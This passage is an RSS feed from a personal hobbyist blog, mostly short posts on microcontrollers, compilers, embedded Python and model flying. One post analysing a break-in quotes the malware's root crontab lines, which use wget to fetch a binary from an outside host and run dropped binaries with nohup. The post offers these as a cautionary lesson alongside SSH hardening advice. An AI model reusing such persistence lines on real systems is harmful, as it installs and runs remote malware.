<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Uncategorized | Blue Duck Valley Rd</title><link>https://juju.nz/michaelh/categories/uncategorized/</link><atom:link href="https://juju.nz/michaelh/categories/uncategorized/index.xml" rel="self" type="application/rss+xml"/><description>Uncategorized</description><generator>Source Themes Academic (https://sourcethemes.com/academic/)</generator><language>en-us</language><copyright>© 2017-2025 Michael Hope</copyright><lastBuildDate>Sun, 23 Oct 2016 18:58:04 +0000</lastBuildDate><image><url>img/map[gravatar:%!s(bool=false) shape:circle]</url><title>Uncategorized</title><link>https://juju.nz/michaelh/categories/uncategorized/</link></image><item><title>ESP8266 IO bridge</title><link>https://juju.nz/michaelh/2016/10/esp8266-io-bridge/</link><pubDate>Sun, 23 Oct 2016 18:58:04 +0000</pubDate><guid>https://juju.nz/michaelh/2016/10/esp8266-io-bridge/</guid><description>&lt;p>
&lt;a href="https://github.com/eriksl/esp8266-universal-io-bridge" target="_blank" rel="noopener">github.com/eriksl/esp8266-universal-io-bridge&lt;/a> looks cool – it exposes the I/O of a ESP8266 wifi module including the GPIO, I2C, PWM, ADC, and UART via a line based telnet interface.&lt;/p></description></item><item><title>A toy PL/0 compiler</title><link>https://juju.nz/michaelh/2016/08/a-toy-pl0-compiler/</link><pubDate>Thu, 25 Aug 2016 19:54:44 +0000</pubDate><guid>https://juju.nz/michaelh/2016/08/a-toy-pl0-compiler/</guid><description>&lt;p>I’ve released a toy compiler for the PL/0 educational language at
&lt;a href="https://juju.net.nz/src/cgit.cgi/pl0.git/" target="_blank" rel="noopener">https://juju.net.nz/src/cgit.cgi/pl0.git/&lt;/a> or
&lt;a href="https://github.com/nzmichaelh/pl0" target="_blank" rel="noopener">https://github.com/nzmichaelh/pl0&lt;/a>.&lt;/p>
&lt;p>I did this as, despite working with compilers for a fair part of my life, I’d never written one from scratch. I chose PL/0 as it was designed by a local legend, Niklaus Wirth, who is also the creator of Pascal and Modula-2.&lt;/p></description></item><item><title>Serial to NeoPixel bridge</title><link>https://juju.nz/michaelh/2015/10/serial-to-neopixel-bridge/</link><pubDate>Sun, 25 Oct 2015 20:55:15 +0000</pubDate><guid>https://juju.nz/michaelh/2015/10/serial-to-neopixel-bridge/</guid><description>&lt;p>I’m hacking on a project to hook a
&lt;a href="https://learn.adafruit.com/adafruit-neopixel-uberguide/overview" target="_blank" rel="noopener">NeoPixel&lt;/a> ring up to the internet. I don’t have a good reason why, but it’s a good excuse to work with OpenWrt, TURN servers, and some blinking lights.&lt;/p>
&lt;p>NeoPixels are fairly hard to drive as they use a single wire, 800 kHz, non-return-to-zero protocol which needs precise timing. I decided to push the problem off into a&lt;/p>
&lt;p>
&lt;a href="https://www.olimex.com/Products/Duino/AVR/OLIMEXINO-85-ASM/open-source-hardware" target="_blank" rel="noopener">Olimex ATTINY85&lt;/a> board that takes serial data on one side and updates the ring on the other.&lt;/p>
&lt;p>Here’s a video of a two chasers with a little bit of tail blur. The main loop is written in Python, which renders the chasers and writes them out at 57600 baud:&lt;/p>
&lt;div style="width: 640px; " class="wp-video">
&lt;video class="wp-video-shortcode" id="video-288-2" width="640" height="427" preload="metadata" controls="controls">&lt;source type="video/mp4" src="https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/10/VID_20151025_212428.mp4?_=2" />&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/10/VID_20151025_212428.mp4">https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/10/VID_20151025_212428.mp4&lt;/a>&lt;/video>
&lt;/div>
&lt;p>Next step is to get approval to release the source code.&lt;/p></description></item><item><title>Serial to Wifi board hacking</title><link>https://juju.nz/michaelh/2014/12/serial-to-wifi-board-hacking/</link><pubDate>Thu, 11 Dec 2014 21:15:14 +0000</pubDate><guid>https://juju.nz/michaelh/2014/12/serial-to-wifi-board-hacking/</guid><description>&lt;p>I’m having fun with my Olimex
&lt;a href="https://github.com/esp8266/esp8266-wiki/wiki" target="_blank" rel="noopener">ESP8266&lt;/a>
&lt;a href="https://www.olimex.com/Products/Modules/Ethernet/MOD-WIFI-ESP8266-DEV" target="_blank" rel="noopener">dev board&lt;/a>. For ~5 Euro you get a 80 MHz processor, built in Wifi, a bunch of I/O, and “IoT” style libraries with a RTOS. This is the same chip that’s used on the
&lt;a href="http://hackaday.com/tag/esp8266/" target="_blank" rel="noopener">serial to Wifi boards&lt;/a> but with all of the I/O broken out. I especially like how they use half-holes on the edges to also make it PCB mountable.&lt;/p>
&lt;p>
&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/12/IMG_20141211_215858.jpg" target="_blank" rel="noopener">&lt;img src="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/12/IMG_20141211_215858-1024x768.jpg" alt="IMG_20141211_215858" width="584" height="438" class="aligncenter size-large wp-image-230" srcset="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/12/IMG_20141211_215858-1024x768.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/12/IMG_20141211_215858-300x225.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/12/IMG_20141211_215858-400x300.jpg 400w" sizes="(max-width: 584px) 100vw, 584px" />&lt;/a>&lt;/p>
&lt;p>So far I’ve only built the community run
&lt;a href="https://github.com/esp8266/esp8266-wiki/wiki/Toolchain" target="_blank" rel="noopener">toolchain&lt;/a> and loaded the blinky example onto it. The photo shows the boot mode switch, FTDI serial interface, and cables off to the 3.3 V supply.&lt;/p>
&lt;p>Next step is to turn the LED on and off from a web form.&lt;/p></description></item><item><title>Arietta 25</title><link>https://juju.nz/michaelh/2014/06/arietta-25/</link><pubDate>Sun, 29 Jun 2014 19:51:29 +0000</pubDate><guid>https://juju.nz/michaelh/2014/06/arietta-25/</guid><description>&lt;p>I picked up two
&lt;a href="http://www.acmesystems.it/" target="_blank" rel="noopener">Acme Systems&lt;/a>
&lt;a href="http://www.acmesystems.it/arietta" target="_blank" rel="noopener">Arietta G25&lt;/a>‘s. They’re a tiny Atmel ARM9 powered board with most of the I/O out on a 0.1″ header. I hope to hook one up to a GPS to send up in my plane and record the track and speed.&lt;/p>
&lt;p>Some random notes:&lt;/p>
&lt;p>The board shows up as a
&lt;a href="https://en.wikipedia.org/wiki/Ethernet_over_USB" target="_blank" rel="noopener">USB CDC EEM&lt;/a> Ethernet adapter. ChromeOS includes the CDC Ether but not the EEM driver. I built the
&lt;a href="https://chromium.googlesource.com/chromiumos/third_party/kernel/" target="_blank" rel="noopener">chromeos-3.8.11&lt;/a> EEM driver from source and it worked just fine.&lt;/p>
&lt;p>The usual SSH port forwarding trick works well for installing extra packages. Run
&lt;a href="http://www.pps.univ-paris-diderot.fr/~jch/software/polipo/" target="_blank" rel="noopener">Polipo&lt;/a> somewhere on your network, SSH into the board with port forwarding (&lt;code>-R 8123:proxy-name:8123&lt;/code>), set the proxy (&lt;code>export http_proxy=http://localhost:8123/&lt;/code>), and apt-get away.&lt;/p>
&lt;p>The default hostname is arietta. Add it to the localhost line in &lt;code>/etc/hosts&lt;/code> to make sudo faster.&lt;/p>
&lt;p>The default golang packages that come with x86_64 Ubuntu Trusty work great for cross compiling, and the statically linked binaries run on the board with no extra support. Try &lt;code>GOARCH=arm GOARM=5 go build&lt;/code>.&lt;/p>
&lt;p>I can’t figure out how to build a Device Tree script into the binary form. The Linux kernel uses &lt;code>#include&lt;/code> and abuses the C preprocessor, but you need a whole set of flags to cut the extra noise that cpp adds so that dtc can still parse the output. Copying into the Kernel tree works fine.&lt;/p></description></item><item><title>Stopping ‘PAM service(sshd) ignoring max retries’ errors in syslog</title><link>https://juju.nz/michaelh/2014/04/stopping-pam-servicesshd-ignoring-max-retries-errors-in-syslog/</link><pubDate>Tue, 22 Apr 2014 17:25:12 +0000</pubDate><guid>https://juju.nz/michaelh/2014/04/stopping-pam-servicesshd-ignoring-max-retries-errors-in-syslog/</guid><description>&lt;p>Seeing messages like &lt;code>sshd[28778]: PAM service(sshd) ignoring max retries; 6 &amp;gt; 3&lt;/code> in auth.log? It’s caused by pam_unix disagreeing with sshd on how many times a user can retry their password before getting disconnected. To stop it, add &lt;code>MaxAuthTries 3&lt;/code> to &lt;code>/etc/ssh/sshd_config&lt;/code>.&lt;/p></description></item><item><title>Huffman coding on NMEA sentances</title><link>https://juju.nz/michaelh/2014/04/huffman-coding-on-nmea-sentances/</link><pubDate>Sun, 13 Apr 2014 19:12:47 +0000</pubDate><guid>https://juju.nz/michaelh/2014/04/huffman-coding-on-nmea-sentances/</guid><description>&lt;p>I’m impressed with how well Huffman encoding works on the very verbose, very repetitive, ASCII based NMEA GPS sentances. I hacked up a Python script that bakes a fixed dictionary from example data and a device side C++ encoder that encodes based on the dictionary. The encoder is 46 statements, uses ~10 bytes of RAM, and still gets almost 3:1 compression.&lt;/p>
&lt;p>For comparison, on my 135,548 byte test file:&lt;/p>
&lt;ul>
&lt;li>Treating each character as a symbol gives 58,749 B (2.30x)
&lt;ul>
&lt;li>Treating the talker (‘GPGGA’), and each non-numeric field as a symbol gives 46,104 B (2.94x)
&lt;ul>
&lt;li>lzop gives 22,161 B (6.12x)
&lt;ul>
&lt;li>gzip gives 12,167 B (11.2x) &lt;/ul>
The end goal is to strap a GPS, LPC810, and 32 KiB data flash to my plane and record the track while flying over the
&lt;a href="https://www.google.com/maps/place/Sportplatz&amp;#43;Allmend&amp;#43;Brunau/@47.35544,8.521636,17z/data=!3m1!4b1!4m2!3m1!1s0x479009ef454e0d5f:0xac77c825eb303954" target="_blank" rel="noopener">Allmend&lt;/a>. Off the shelf is too easy.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></description></item><item><title>Three days to posession</title><link>https://juju.nz/michaelh/2014/03/three-days-to-posession/</link><pubDate>Mon, 31 Mar 2014 18:19:57 +0000</pubDate><guid>https://juju.nz/michaelh/2014/03/three-days-to-posession/</guid><description>&lt;p>As an experiment, I hooked up a spare ARM machine to the internet and left it running Tor. It only took three days for a script kiddie to break in, as it turns out the pre-built rootfs I used has a poor default root password.&lt;/p>
&lt;p>So the lessons are:&lt;/p>
&lt;ul>
&lt;li>Always clear the root password.
&lt;ul>
&lt;li>Disable root login in sshd_config.
&lt;ul>
&lt;li>
&lt;p>Disable password logins in sshd_config and use keys only. &lt;/ul>
The particular virus uses Perl to run a script that masquerades as &lt;tt>/usr/sbin/apache/log&lt;/tt>. It overwrites &lt;tt>/var/spool/cron/crontab/root&lt;/tt> to fetch various things over reboot including writing various binaries like &lt;tt>/etc/atddd&lt;/tt>. Some example lines:&lt;/p>
&lt;pre>*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>*/99 * * * * nohup /etc/cupsdd &amp;gt; /dev/null 2&amp;gt;&amp;amp;1&amp;amp;
*/100 * * * * nohup /etc/kysapd &amp;gt; /dev/null 2&amp;gt;&amp;amp;1&amp;amp;
&lt;/pre>&lt;/p>
&lt;pre>&lt;code> These are all x86 statically linked binaries. I don&amp;amp;#8217;t think they&amp;amp;#8217;re run too good on ARM 🙂
Time to nuke the system. It&amp;amp;#8217;s the only way to be sure.&lt;/code>&lt;/pre></description></item><item><title>First flying of the year</title><link>https://juju.nz/michaelh/2014/02/first-flying-of-the-year/</link><pubDate>Sun, 23 Feb 2014 15:03:03 +0000</pubDate><guid>https://juju.nz/michaelh/2014/02/first-flying-of-the-year/</guid><description>&lt;p>I dusted my
&lt;a href="http://www.parkzone.com/Products/Default.aspx?ProdID=PKZ4400" target="_blank" rel="noopener">T-28 Trojan&lt;/a> off and took it for a fly in the
&lt;a href="https://goo.gl/maps/ZBqkB" target="_blank" rel="noopener">Allmend&lt;/a> today. Hard to say no to such nice weather. I could even feel my fingers when I got back!&lt;/p>
&lt;p>
&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/02/IMG_20140223_155354.jpg" target="_blank" rel="noopener">&lt;img src="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/02/IMG_20140223_155354-300x225.jpg" alt="IMG_20140223_155354" width="300" height="225" class="alignnone size-medium wp-image-151" srcset="https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/02/IMG_20140223_155354-300x225.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/02/IMG_20140223_155354-1024x768.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/02/IMG_20140223_155354-400x300.jpg 400w" sizes="(max-width: 300px) 100vw, 300px" />&lt;/a>&lt;/p></description></item><item><title>Christmas star light</title><link>https://juju.nz/michaelh/2013/12/christmas-star-light/</link><pubDate>Sun, 22 Dec 2013 16:36:35 +0000</pubDate><guid>https://juju.nz/michaelh/2013/12/christmas-star-light/</guid><description>&lt;p>We’ve got some Christmas stars in the window that needed some illumination. I hacked together a Olimex
&lt;a href="https://www.olimex.com/Products/Duino/AVR/OLIMEXINO-85-ASM/open-source-hardware" target="_blank" rel="noopener">OLIMEXINO-85&lt;/a>, a 8 mm RGB led, and the support components to make this:&lt;/p>
&lt;p>
&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/IMG_2583.jpg" target="_blank" rel="noopener">&lt;img class="alignnone size-medium wp-image-85" alt="IMG_2583" src="https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/IMG_2583-300x200.jpg" width="300" height="200" srcset="https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/IMG_2583-300x200.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/IMG_2583-449x300.jpg 449w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/IMG_2583.jpg 1024w" sizes="(max-width: 300px) 100vw, 300px" />&lt;/a>&lt;/p>
&lt;div style="width: 640px; " class="wp-video">
&lt;!--[if lt IE 9]>&lt;![endif]-->&lt;video class="wp-video-shortcode" id="video-81-1" width="640" height="427" preload="metadata" controls="controls">&lt;source type="video/mp4" src="https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/Vid-20131222-163519-1.m4v?_=1" />
&lt;p>&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/Vid-20131222-163519-1.m4v">
&lt;a href="https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/Vid-20131222-163519-1.m4v" target="_blank" rel="noopener">https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/Vid-20131222-163519-1.m4v&lt;/a>&lt;/a>&lt;/video>&lt;/p>
&lt;/div>
&lt;p>The video is a one-frame-per-second timelapse (thanks Android!). It’s hard to see as the LED is so bright that the camera is saturating but it’s 60 s on white, 10 s transition to the next colour, 10 s there, then 10 s transition back to white. The colour cycles around the colour wheel, although the purple and cyan are a bit subtle.&lt;/p>
&lt;p>Code is at
&lt;a href="https://juju.net.nz/src/hacks.git/tree/christmas" target="_blank" rel="noopener">https://juju.net.nz/src/hacks.git/tree/christmas&lt;/a>.&lt;/p></description></item><item><title>chromium</title><link>https://juju.nz/michaelh/2013/12/chromium/</link><pubDate>Tue, 17 Dec 2013 08:10:22 +0000</pubDate><guid>https://juju.nz/michaelh/2013/12/chromium/</guid><description>&lt;p>Looks like I’ve run into my first problem: FTDI based USB to serial adapters don’t work on Chrome OS as they seem to be automatically disconnected shortly after plug in. I suspect that it’s udev running the brltty rules, not finding a assistive device, and aborting.&lt;/p>
&lt;p>The udev scripts are under /lib/udev/rules.d but I can’t hack it as the rootfs is read only. Let’s see what the devs think…?&lt;/p>
&lt;p class='wdgpo_gplus_attachment wdgpo_gplus_article_attachment'>
&lt;a class='wdgpo_gplus_article_attachment_link' href='https://code.google.com/p/chromium/issues/detail?id=323282'>An open-source project to help move the web forward.&lt;/a>
&lt;/p></description></item><item><title>ARM Chromebook as a primary machine</title><link>https://juju.nz/michaelh/2013/11/arm-chromebook-as-a-primary-machine/</link><pubDate>Sun, 24 Nov 2013 18:28:47 +0000</pubDate><guid>https://juju.nz/michaelh/2013/11/arm-chromebook-as-a-primary-machine/</guid><description>&lt;p>I’m going to see if my
&lt;a href="http://www.chromium.org/chromium-os/developer-information-for-chrome-os-devices/samsung-arm-chromebook" target="_blank" rel="noopener">Samsung ARM Chromebook&lt;/a> can be my primary machine.  I’ve put a
&lt;a href="https://github.com/dnschneid/crouton" target="_blank" rel="noopener">crouton&lt;/a> Ubuntu chroot on a SD card (so it survives the kids dropping out of developer mode) and will mainly SSH into it. I’m not fond of the speed or reliability of SD cards so I’ll see how that goes.&lt;/p>
&lt;p>I’m doing a bit of
&lt;a href="http://webpy.org/" target="_blank" rel="noopener">web.py&lt;/a> and
&lt;a href="http://playground.arduino.cc//Main/ArduinoOnOtherAtmelChips" target="_blank" rel="noopener">Arduino&lt;/a> (via
&lt;a href="http://www.nongnu.org/avrdude/" target="_blank" rel="noopener">avrdude&lt;/a>) hacking at the moment so the combo of a chroot, ARM, and low level mucking about will be entertaining.&lt;/p></description></item><item><title>Using clobber in machine descriptions</title><link>https://juju.nz/michaelh/2009/04/using-clobber-in-machine-descriptions/</link><pubDate>Thu, 23 Apr 2009 20:22:02 +0000</pubDate><guid>https://juju.nz/michaelh/2009/04/using-clobber-in-machine-descriptions/</guid><description>&lt;p>‘clobber’ ensures that the register is free before entering and after exiting an instruction. Therefore you can’t use it to say a register is used then destoryed by an instruction such as LOADACC, (X+) on X.&lt;/p>
&lt;p>Took a while to figure this out&lt;/p></description></item><item><title>Extreme optimisation</title><link>https://juju.nz/michaelh/2009/04/extreme-optimisation/</link><pubDate>Fri, 17 Apr 2009 07:40:46 +0000</pubDate><guid>https://juju.nz/michaelh/2009/04/extreme-optimisation/</guid><description>&lt;p>GCC is crazy.Â  It recognises a printf(‘foo\n’) and turns it into the equivalent puts(‘foo’) instead.&lt;/p>
&lt;p>builtins.c has all types of similar transformations including printf(‘%c’, v) to a putch(v) and printf(‘%s’, v) to fputs().&lt;/p></description></item><item><title>Canterbury innovation incubator</title><link>https://juju.nz/michaelh/2009/04/canterbury-innovation-incubator/</link><pubDate>Sun, 05 Apr 2009 05:08:53 +0000</pubDate><guid>https://juju.nz/michaelh/2009/04/canterbury-innovation-incubator/</guid><description>&lt;p>The
&lt;a href="http://www.cii.co.nz/index.shtml" target="_blank" rel="noopener">Cii&lt;/a> seems interesting. It needs more publicity – this is the first time I’ve heard of it in my fifteen years in Christchurch.&lt;/p></description></item><item><title>Adding new relocation types</title><link>https://juju.nz/michaelh/2009/03/adding-new-relocation-types/</link><pubDate>Mon, 30 Mar 2009 08:44:32 +0000</pubDate><guid>https://juju.nz/michaelh/2009/03/adding-new-relocation-types/</guid><description>&lt;p>For bfd, add them to the comment block in reloc.c then run ‘make headers’. One more make after that gets it through to bfd.h&lt;/p></description></item><item><title>binutils / bfd target magic</title><link>https://juju.nz/michaelh/2009/03/48/</link><pubDate>Mon, 02 Mar 2009 08:49:27 +0000</pubDate><guid>https://juju.nz/michaelh/2009/03/48/</guid><description>&lt;p>So the BFD architectures listed in &lt;tt>bfd.h&lt;/tt> are actually defined &lt;tt>archures.c&lt;/tt> in a big comment block at the start of the file.Â  This is split out and fired into the documentation, many bfd-in-xx.h files, and finally into bfd.h.&lt;/p>
&lt;p>Note that a ‘make headers’ doesn’t re-build it.Â  I found a ‘make distclean; ./configure’ was the most brute force way.&lt;/p></description></item><item><title>Python on an embedded system</title><link>https://juju.nz/michaelh/2009/02/python-on-an-embedded-system/</link><pubDate>Thu, 19 Feb 2009 07:17:49 +0000</pubDate><guid>https://juju.nz/michaelh/2009/02/python-on-an-embedded-system/</guid><description>&lt;p>I like Python.Â  I want to use Python everywhere.Â  Hmm.Â  Sounds more like an addiction.Â  The question is, is Python suitable as a glue language on a embedded Linux system?&lt;/p>
&lt;p>With a few hacks Python 1.5.2 cross compiles just fine.Â  The speed will be acceptable so it’s really only the size that matters.&lt;/p>
&lt;p>A standard build under x86 is 12.6M. From there:&lt;/p>
&lt;ul>
&lt;li>Stripping python saves 1.1M&lt;/li>
&lt;li>Removing man and include saves 400k&lt;/li>
&lt;li>Removing *.py and *.pyo saves 2.8M but still lets everything run&lt;/li>
&lt;li>Removing Tk, Config, and stdwin saves 3.9M&lt;/li>
&lt;li>Removing test saves 1.9M&lt;/li>
&lt;/ul>
&lt;p>This brings a fully working Python interpreter with all of the command line libraries down to 2.4M.Â  Quite respectable.&lt;/p></description></item><item><title>Naming</title><link>https://juju.nz/michaelh/2009/02/naming/</link><pubDate>Sun, 01 Feb 2009 19:20:14 +0000</pubDate><guid>https://juju.nz/michaelh/2009/02/naming/</guid><description>&lt;p>For personal reference.Â  What happens when you follow too strict of a naming convention:&lt;/p>
&lt;p>
&lt;a href="http://ws.apache.org/xmlrpc/apidocs/org/apache/xmlrpc/server/RequestProcessorFactoryFactory.html?rel=html" target="_blank" rel="noopener">http://ws.apache.org/xmlrpc/apidocs/org/apache/xmlrpc/server/RequestProcessorFactoryFactory.html?rel=html&lt;/a>&lt;/p></description></item><item><title>Hmm</title><link>https://juju.nz/michaelh/2008/11/hmm/</link><pubDate>Wed, 26 Nov 2008 08:42:41 +0000</pubDate><guid>https://juju.nz/michaelh/2008/11/hmm/</guid><description>&lt;p>
&lt;a href="http://www.ladyada.net/make/fuzebox/index.html" target="_blank" rel="noopener">http://www.ladyada.net/make/fuzebox/index.html&lt;/a>&lt;/p>
&lt;p>and&lt;/p>
&lt;p>
&lt;a href="http://www.makershed.com/ProductDetails.asp?ProductCode=MKPO1" target="_blank" rel="noopener">http://www.makershed.com/ProductDetails.asp?ProductCode=MKPO1&lt;/a>&lt;/p></description></item><item><title>Anthony’s</title><link>https://juju.nz/michaelh/2008/09/anthonys/</link><pubDate>Tue, 30 Sep 2008 03:27:51 +0000</pubDate><guid>https://juju.nz/michaelh/2008/09/anthonys/</guid><description>&lt;p>…fish grotto on the bay in San Diego is very good.&lt;/p>
&lt;p>They also do seafood.&lt;/p></description></item><item><title>Richard Stallman</title><link>https://juju.nz/michaelh/2008/08/richard-stallman/</link><pubDate>Sat, 16 Aug 2008 07:12:53 +0000</pubDate><guid>https://juju.nz/michaelh/2008/08/richard-stallman/</guid><description>&lt;p>Saw RMS at Canterbury University today.Â  He has an interesting point of view, very liberal, but also a point of view that is based on old technology.&lt;/p>
&lt;p>He said that sites like Google Docs are a problem as you are running a program on their machine, a program that you don’t have control over.Â  The solution is to install your own version on your own machine.Â  I wonder how you can do this and still get the advantages of hosted software, such as lower cost, lower administration, and higher availability.Â  I don’t want to manage any of the software I use, and one solution is to let someone else do it.&lt;/p>
&lt;p>He’s not concerned about embedded systems where a processor is used instead of a dedicated circuit, such as in a microwave.Â  However, my microwave gains time and I’d rather have it show time in 24 hours to match the stove.Â  Both I could fix with the source.Â  Then you have car computers such as the Nissan GT-R that
&lt;a href="http://www.autojab.com/on-a-race-track-nissan-gt-r-disables-speed-limiter-via-gps/" target="_blank" rel="noopener">changes the car response if it is on a race track&lt;/a>.Â  I heard a rumor of the NSX requiring you to take the car to the dealer if it goes anywhere near a known track.&lt;/p>
&lt;p>Hmm.Â  Perhaps the embedded/mechanical equivalent is the
&lt;a href="http://www.flickr.com/photos/pmtorrone/306528267/" target="_blank" rel="noopener">Maker Bill of Rights&lt;/a> from Make Magazine.&lt;/p></description></item><item><title>Zen of website maintenance</title><link>https://juju.nz/michaelh/2008/08/zen-of-website-maintenance/</link><pubDate>Wed, 06 Aug 2008 09:49:28 +0000</pubDate><guid>https://juju.nz/michaelh/2008/08/zen-of-website-maintenance/</guid><description>&lt;p>A certain website had a few vuneribilities including XSS and leaking passwords.Â  The fixes were:&lt;/p>
&lt;ul>
&lt;li>The &lt;code>&amp;lt;script&amp;gt;&lt;/code> tag was turned on for pending users.Â  Configure off. Â All other users get their tags filtered against a safe list&lt;/li>
&lt;li>The superuser always skips the filter and sees all tags. Â I can’t fix this, but I’ve changed the cookie so that its not useful to a cookie catcher&lt;/li>
&lt;li>The ‘password’ in the cookie was just a hash of the password.Â  It is now a hash of the password, the IP address of the client, and a secret. Â A leaked password should only be usable from the same IP&lt;/li>
&lt;li>The ‘password’ field has been removed from all forms and replaced with cookie based authentication&lt;/li>
&lt;/ul></description></item><item><title>Fun and games with Python vs C</title><link>https://juju.nz/michaelh/2008/08/fun-and-games-with-python-vs-c/</link><pubDate>Sun, 03 Aug 2008 09:18:32 +0000</pubDate><guid>https://juju.nz/michaelh/2008/08/fun-and-games-with-python-vs-c/</guid><description>&lt;p>I’m using Python to test the code generated by a C compiler.Â  Many of the tests are along the lines of:&lt;/p>
&lt;pre>a = 5&lt;/pre>
&lt;pre>b = 10&lt;/pre>
&lt;pre>result = run_c_code_for_add_in_emulator(a, b)&lt;/pre>
&lt;pre>assert result == a + b&lt;/pre>
&lt;p>This works fine except when dividing integers with rounding. Under GCC on x86, -100/30 is -3, but in Python -100//30 is -4.Â  Hmm.&lt;/p>
&lt;p>This has the interesting side effect that in Python 2.5 -a/b != -(a/b).&lt;/p>
&lt;p>The work-around seems to be to do it explicitly as int(float(a) / float(b)) is -3.&lt;/p></description></item><item><title>Big Mac Calories</title><link>https://juju.nz/michaelh/2008/07/big-mac-calories/</link><pubDate>Sun, 20 Jul 2008 05:06:45 +0000</pubDate><guid>https://juju.nz/michaelh/2008/07/big-mac-calories/</guid><description>&lt;p>Why does a NZ Big Mac have 464 calories, a UK one 495, and a US one 540?Â  It might be differences in weight but it’s hard to tell.&lt;/p></description></item><item><title>Seen on reddit</title><link>https://juju.nz/michaelh/2008/01/seen-on-reddit/</link><pubDate>Thu, 31 Jan 2008 06:13:58 +0000</pubDate><guid>https://juju.nz/michaelh/2008/01/seen-on-reddit/</guid><description>&lt;p class="md">
A man goes to his doctor and tells him, &amp;#8220;I&amp;#8217;ve had the song &amp;#8216;What&amp;#8217;s New Pussycat&amp;#8217; stuck in my head for weeks, and it&amp;#8217;s driving me crazy.&amp;#8221;
&lt;/p>
&lt;p>The doctor says, “Well, I think you may have Tom Jones disease.”&lt;/p>
&lt;p>The man says, “I’ve never heard of that. Is it rare?”&lt;/p>
&lt;p>The doctor says, “It’s not unusual.”&lt;/p></description></item><item><title>Moving to Dreamhost</title><link>https://juju.nz/michaelh/2007/12/moving-to-dreamhost/</link><pubDate>Thu, 13 Dec 2007 08:05:22 +0000</pubDate><guid>https://juju.nz/michaelh/2007/12/moving-to-dreamhost/</guid><description>&lt;p>Thought I’d move from Rimu Hosting to Dreamhost.Â  The VPS we’re on is just too slow and anything that brings the load down is good.&lt;/p>
&lt;p>I can’t move the secure sites as Dreamhost doesn’t provide any type of SSL, even a self signed cert from the wrong address, without switching to a static IP and handing over $50 US a year.&lt;/p>
&lt;p>And as always happens, I got part way into the move and accidentally brokeÂ  something on the original and had to do a rush switch.Â  Ah, well.&lt;/p></description></item><item><title>Comparing integers</title><link>https://juju.nz/michaelh/2007/12/comparing-integers/</link><pubDate>Thu, 13 Dec 2007 08:02:36 +0000</pubDate><guid>https://juju.nz/michaelh/2007/12/comparing-integers/</guid><description>&lt;p>Notes for next time:&lt;/p>
&lt;p>You can check if the unsigned integer ‘a’ is greater than ‘b’ by adding the ones complement of ‘b’ to ‘a’ and testing carry.Â  A twos complement subtraction doesn’t work as a &amp;gt; 0 is always false.&lt;/p>
&lt;p>Signed integers are similar but you first add &lt;tt>0x80000000&lt;/tt> to both a and b.Â  This makes both unsigned without changing the order.&lt;/p></description></item><item><title>Test after move</title><link>https://juju.nz/michaelh/2005/12/test-after-move/</link><pubDate>Tue, 06 Dec 2005 08:21:47 +0000</pubDate><guid>https://juju.nz/michaelh/2005/12/test-after-move/</guid><description>&lt;p>All relocated and imported. Now does posting work?&lt;/p></description></item><item><title>Engines for metaphilter++</title><link>https://juju.nz/michaelh/2005/09/engines-for-metaphilter/</link><pubDate>Tue, 20 Sep 2005 08:41:56 +0000</pubDate><guid>https://juju.nz/michaelh/2005/09/engines-for-metaphilter/</guid><description>&lt;p>
&lt;a href="http://www.djangoproject.com/" target="_blank" rel="noopener">Django&lt;/a> looks quite decent. Python (not PHP – good), built in basic admin, built in basic user accounts, and the template system is directly applicable to metaphilter.&lt;/p>
&lt;p>I’ll give it a try using sqlite 3.2.6 and pysqlite 2.0.4.&lt;/p></description></item><item><title>Planet Planet Planet</title><link>https://juju.nz/michaelh/2005/09/planet-planet-planet/</link><pubDate>Sat, 03 Sep 2005 08:47:45 +0000</pubDate><guid>https://juju.nz/michaelh/2005/09/planet-planet-planet/</guid><description>&lt;p>Planet Planet Planet Mushrooms Mushrooms!&lt;/p></description></item><item><title>Infinite Power!</title><link>https://juju.nz/michaelh/2005/06/infinite-power/</link><pubDate>Sat, 11 Jun 2005 10:55:17 +0000</pubDate><guid>https://juju.nz/michaelh/2005/06/infinite-power/</guid><description>&lt;p>Noooooooooooooooooooooooo_ooooooooooooooooooooooooo_!&lt;/p></description></item><item><title>Ratchet &amp; Clank</title><link>https://juju.nz/michaelh/2005/06/ratchet-clank/</link><pubDate>Fri, 10 Jun 2005 09:27:05 +0000</pubDate><guid>https://juju.nz/michaelh/2005/06/ratchet-clank/</guid><description>&lt;p>Woo. All done. Reasonable length, very linear, and a bit…easy. Solution to the big bad: empty 200 blaster rounds for stage 1. Re-stock using the PDA. Empty 200 rounds for stage 2. Re-stock. Tesla coil for the mines and groundies, and blaster, tesla, and devistator for stage 3.&lt;/p></description></item><item><title>Power off on power button</title><link>https://juju.nz/michaelh/2005/05/power-off-on-power-button/</link><pubDate>Mon, 30 May 2005 07:24:15 